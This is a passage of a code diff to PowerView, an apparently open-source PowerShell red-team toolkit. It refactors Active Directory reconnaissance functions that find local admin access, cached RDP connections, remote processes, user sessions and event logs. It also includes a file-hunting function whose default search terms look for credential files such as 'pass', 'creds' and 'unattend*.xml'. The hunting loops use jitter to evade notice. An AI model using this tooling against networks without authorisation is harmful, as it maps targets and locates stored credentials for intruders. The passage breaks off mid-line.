$Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment - } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + $Offset += $Increment } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Verbuse "LastError: $Err" + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" } } -function Invoke-CheckLocalAdminAccess { +filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS @@ -6890,6 +7243,12 @@ function Invoke-CheckLocalAdminAccess { Returns active sessions on the local host. + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Sees what machines in the domain the current user has access to. + .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb @@ -6899,46 +7258,43 @@ function Invoke-CheckLocalAdminAccess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" - Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + $IsAdmin = New-Object PSObject + $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - # Close off the service handle - $Null = $Advapi32::CloseServiceHandle($Handle) - $True - } - else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" - $False - } + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } + + $IsAdmin } -function Get-LastLoggedOn { +filter Get-LastLoggedOn { <# .SYNOPSIS @@ -6953,6 +7309,10 @@ function Get-LastLoggedOn { The hostname to query for the last logged on user. Defaults to the localhost. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object for the remote connection. + .EXAMPLE PS C:\> Get-LastLoggedOn @@ -6964,38 +7324,58 @@ function Get-LastLoggedOn { PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-LastLoggedOn + + Returns the last user logged onto all machines in the domain. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - [Alias('HostName')] - $ComputerName = "." + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + $Credential ) - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 - # try to open up the remote registry key to grab the last logged on user - try { - $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" - $HKLM = 2147483650 - $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" - $Value = "LastLoggedOnUser" - $Reg.GetStringValue($HKLM, $Key, $Value).sValue + # try to open up the remote registry key to grab the last logged on user + try { + + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } - catch { - Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." - $Null + else { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue } + + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn + } + catch { + Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled." } } -function Get-CachedRDPConnection { +filter Get-CachedRDPConnection { <# .SYNOPSIS @@ -7011,14 +7391,9 @@ function Get-CachedRDPConnection { The hostname to query for RDP client information. Defaults to localhost. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on the remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7034,105 +7409,99 @@ function Get-CachedRDPConnection { .EXAMPLE - PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! + PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-CachedRDPConnection + + Get cached RDP information for all machines in the domain. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName = "localhost", - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - begin { - if ($RemoteUserName -and $RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - } - - # HKEY_USERS - $HKU = 2147483651 - } - - process { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - try { - if($Credential) { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue - } - } - catch { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" - } + # HKEY_USERS + $HKU = 2147483651 - if(!$Reg) { - Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" + try { + if($Credential) { + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue } else { - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - - foreach ($UserSID in $UserSIDs) { - - try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + } - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } + foreach ($UserSID in $UserSIDs) { - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + try { + $UserName = Convert-SidToName $UserSID - foreach ($Server in $ServerKeys) { + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + foreach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection } - } - catch { - Write-Debug "Error: $_" + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + foreach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection } + + } + catch { + Write-Debug "Error: $_" } } + + } + catch { + Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } -function Get-NetProcess { +filter Get-NetProcess { <# .SYNOPSIS @@ -7142,14 +7511,9 @@ function Get-NetProcess { The hostname to query processes. Defaults to the local host name. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword + .PARAMETER Credential - The password to use for the WMI call on a remote system. + A [Management.Automation.PSCredential] object for the remote connection. .EXAMPLE @@ -7161,74 +7525,40 @@ function Get-NetProcess { [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName, - - [String] - $RemoteUserName, + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = [System.Net.Dns]::GetHostName(), - [String] - $RemotePassword + [Management.Automation.PSCredential] + $Credential ) - process { - - if($ComputerName) { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + try { + if($Credential) { + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential } else { - # default to the local hostname - $ComputerName = [System.Net.Dns]::GetHostName() + $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName } - $Credential = $Null - - if($RemoteUserName) { - if($RemotePassword) { - $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force - $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - - # try to enumerate the processes on the remote machine using the supplied credential - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } - } - else { - Write-Warning "[!] RemotePassword must also be supplied!" - } - } - else { - # try to enumerate the processes on the remote machine - try { - Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $ComputerName - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process - } - } - catch { - Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" - } + $Processes | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process } } + catch { + Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" + } } @@ -7289,10 +7619,6 @@ function Find-InterestingFile { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .OUTPUTS The full path, owner, lastaccess time, lastwrite time, and size for each found file. @@ -7323,15 +7649,15 @@ function Find-InterestingFile { http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] $Path = '.\', + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), [Switch] $OfficeDocs, @@ -7361,35 +7687,19 @@ function Find-InterestingFile { $OutFile, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { - # default search terms - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') - if(!$Path.EndsWith('\')) { - $Path = $Path + '\' - } - if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + $Path += if(!$Path.EndsWith('\')) {"\"} - # check if custom search terms were passed - if ($Terms) { - if($Terms -isnot [system.array]) { - $Terms = @($Terms) - } - $SearchTerms = $Terms + if ($Credential) { + $UsePSDrive = $True } - if(-not $SearchTerms[0].startswith("*")) { - # append wildcards to the front and back of all search terms - for ($i = 0; $i -lt $SearchTerms.Count; $i++) { - $SearchTerms[$i] = "*$($SearchTerms[$i])*" - } - } + # append wildcards to the front and back of all search terms + $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } # search just for office documents if specified if ($OfficeDocs) { @@ -7399,29 +7709,31 @@ function Find-InterestingFile { # find .exe's accessed within the last 7 days if($FreshEXEs) { # get an access time limit of 7 days ago - $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') $SearchTerms = '*.exe' } if($UsePSDrive) { # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') $FolderPath = $Parts[0..($Parts.length-2)] -join '\' $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $Path : $_" + Write-Debug "Error mounting path '$Path' : $_" return $Null } # so we can cd/dir the new drive - $Path = $RandDrive + ":\" + $FilePath + $Path = "${RandDrive}:\${FilePath}" } } @@ -7475,7 +7787,7 @@ function Find-InterestingFile { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -7504,6 +7816,7 @@ function Invoke-ThreadedFunction { $ScriptParameters, [Int] + [ValidateRange(1,100)] $Threads = 20, [Switch] @@ -7898,8 +8211,8 @@ function Invoke-UserHunter { [Switch] $ForeignUsers, - [ValidateRange(1,100)] [Int] + [ValidateRange(1,100)] $Threads ) @@ -8103,12 +8416,12 @@ function Invoke-UserHunter { $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName # see if we're checking to see if we have local admin access on this machine @@ -8148,12 +8461,12 @@ function Invoke-UserHunter { } } if($Proceed) { - $IP = Get-IPAddress -ComputerName $ComputerName + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress $FoundUser = New-Object PSObject $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain $FoundUser | Add-Member Noteproperty 'UserName' $UserName $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null # see if we're checking to see if we have local admin access on this machine @@ -8353,15 +8666,6 @@ function Invoke-ProcessHunter { File of usernames to search for. - .PARAMETER RemoteUserName - - The "domain\username" to use for the WMI call on a remote system. - If supplied, 'RemotePassword' must be supplied as well. - - .PARAMETER RemotePassword - - The password to use for the WMI call on a remote system. - .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user/process. @@ -8399,6 +8703,11 @@ function Invoke-ProcessHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target machine/domain. + .EXAMPLE PS C:\> Invoke-ProcessHunter -Domain 'testing' @@ -8472,12 +8781,6 @@ function Invoke-ProcessHunter { [String] $UserFile, - [String] - $RemoteUserName, - - [String] - $RemotePassword, - [Switch] $StopOnSuccess, @@ -8504,7 +8807,10 @@ function Invoke-ProcessHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8537,16 +8843,16 @@ function Invoke-ProcessHunter { } elseif($SearchForest) { # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) } ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath } # remove any null target hosts, uniquify the list and shuffle it @@ -8587,7 +8893,7 @@ function Invoke-ProcessHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} } @@ -8595,7 +8901,7 @@ function Invoke-ProcessHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { $_.MemberName } } @@ -8608,7 +8914,7 @@ function Invoke-ProcessHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) # optionally check if the server is up first $Up = $True @@ -8618,12 +8924,7 @@ function Invoke-ProcessHunter { if($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name - if($RemoteUserName -and $RemotePassword) { - $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue - } - else { - $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue - } + $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names @@ -8654,8 +8955,7 @@ function Invoke-ProcessHunter { 'Ping' = $(-not $NoPing) 'ProcessName' = $ProcessName 'TargetUsers' = $TargetUsers - 'RemoteUserName' = $RemoteUserName - 'RemotePassword' = $RemotePassword + 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -8680,7 +8980,7 @@ function Invoke-ProcessHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential $Result if($Result -and $StopOnSuccess) { @@ -8689,7 +8989,6 @@ function Invoke-ProcessHunter { } } } - } } @@ -8775,6 +9074,11 @@ function Invoke-EventHunter { The maximum concurrent threads to execute. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-EventHunter @@ -8835,7 +9139,10 @@ function Invoke-EventHunter { [ValidateRange(1,100)] [Int] - $Threads + $Threads, + + [Management.Automation.PSCredential] + $Credential ) begin { @@ -8858,7 +9165,7 @@ function Invoke-EventHunter { } else { # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) } ##################################################### @@ -8876,7 +9183,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath } } else { @@ -8884,7 +9191,7 @@ function Invoke-EventHunter { [array]$ComputerName = @() ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for domain controllers" - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} } } @@ -8923,7 +9230,7 @@ function Invoke-EventHunter { elseif($UserADSpath -or $UserFilter) { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} } @@ -8931,7 +9238,7 @@ function Invoke-EventHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { $_.MemberName } } @@ -8943,7 +9250,7 @@ function Invoke-EventHunter { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $SearchDays) + param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) # optionally check if the server is up first $Up = $True @@ -8951,10 +9258,18 @@ function Invoke-EventHunter { $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName } if($Up) { - # try to enumerate - Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { - # filter for the target user set - $TargetUsers -contains $_.UserName + # try to enumerate + if($Credential) { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + else { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } } } } @@ -8971,6 +9286,7 @@ function Invoke-EventHunter { 'Ping' = $(-not $NoPing) 'TargetUsers' = $TargetUsers 'SearchDays' = $SearchDays + 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -8995,7 +9311,7 @@ function Invoke-EventHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential } } @@ -9448,10 +9764,6 @@ function Invoke-FileFinder { Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Credential - - Credential to use to mount the PSDrive for searching. - .EXAMPLE PS C:\> Invoke-FileFinder @@ -9514,8 +9826,9 @@ function Invoke-FileFinder { [Switch] $FreshEXEs, + [Alias('Terms')] [String[]] - $Terms, + $SearchTerms, [ValidateScript({Test-Path -Path $_ })] [String] @@ -9577,10 +9890,7 @@ function Invoke-FileFinder { $Threads, [Switch] - $UsePSDrive, - - [System.Management.Automation.PSCredential] - $Credential = [System.Management.Automation.PSCredential]::Empty + $UsePSDrive ) begin { @@ -9626,7 +9936,7 @@ function Invoke-FileFinder { if ($TermList) { ForEach ($Term in Get-Content -Path $TermList) { if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $Terms += $Term + $SearchTerms += $Term } } } @@ -9667,9 +9977,9 @@ function Invoke-FileFinder { Write-Verbose "[*] Adding share search path $DCSearchPath" $Shares += $DCSearchPath } - if(!$Terms) { + if(!$SearchTerms) { # search for interesting scripts on SYSVOL - $Terms = @('.vbs', '.bat', '.ps1') + $SearchTerms = @('.vbs', 